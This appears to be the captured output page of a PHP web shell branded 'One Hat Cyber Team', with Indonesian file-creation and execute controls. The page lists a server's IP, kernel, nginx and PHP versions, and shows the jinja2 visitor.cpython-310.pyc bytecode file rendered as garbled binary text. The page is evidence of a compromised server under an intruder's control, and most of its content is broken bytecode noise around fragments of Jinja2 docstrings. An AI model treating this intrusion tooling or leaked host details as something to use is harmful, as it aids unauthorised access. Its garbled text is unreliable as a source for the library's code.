⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
jinja2
/
__pycache__
/
View File Name :
visitor.cpython-310.pyc
o :` @ sZ d Z ddlZddlmZ ejrddlZG dd dejZ G dd dZ G d d d e ZdS )zVAPI for traversing the AST nodes. Implemented by the compiler and meta introspection. N )Nodec @ s, e Zd ZdedejdejdejfddZdS ) VisitCallablenodeargskwargsreturnc O s d S N selfr r r r r 0/usr/lib/python3/dist-packages/jinja2/visitor.py__call__ s zVisitCallable.__call__N)__name__ __module____qualname__r tAnyr r r r r r s $r c @ sb e Zd ZdZdeddfddZdedejdejdejfd d ZdedejdejdejfddZ d S )NodeVisitora Walks the abstract syntax tree and call visitor functions for every node found. The visitor functions may return values which will be forwarded by the `visit` method. Per default the visitor functions for the nodes are ``'visit_'`` + class name of the node. So a `TryFinally` node visit function would be `visit_TryFinally`. This behavior can be changed by overriding the `get_visitor` function. If no visitor function exists for a node (return value `None`) the `generic_visit` visitor is used instead. r r zt.Optional[VisitCallable]c C s t | dt|j dS )zReturn the visitor function for this node or `None` if no visitor exists for this node. In that case the generic visit function is used instead. visit_N)getattrtyper )r r r r r get_visitor s zNodeVisitor.get_visitorr r c O s@ | |}|dur||g|R i |S | j|g|R i |S )z Visit a node.N)r generic_visit)r r r r fr r r visit# s zNodeVisitor.visitc O s* | D ]}| j|g|R i | qdS )z9Called if no explicit visitor function exists for a node.N)iter_child_nodesr r r r r r , s zNodeVisitor.generic_visitN) r r r __doc__r r r r r r r r r r r s $ r c @ sR e Zd ZdZdedejdejdefddZdedejdejdeje fdd Z d S )NodeTransformera Walks the abstract syntax tree and allows modifications of nodes. The `NodeTransformer` will walk the AST and use the return value of the visitor functions to replace or remove the old node. If the return value of the visitor function is `None` the node will be removed from the previous location otherwise it's replaced with the return value. The return value may be the original node in which case no replacement takes place. r r r r c O s | D ]^\}}t|trAg }|D ](}t|tr4| j|g|R i |}|d u r)qt|ts4|| q|| q||d d <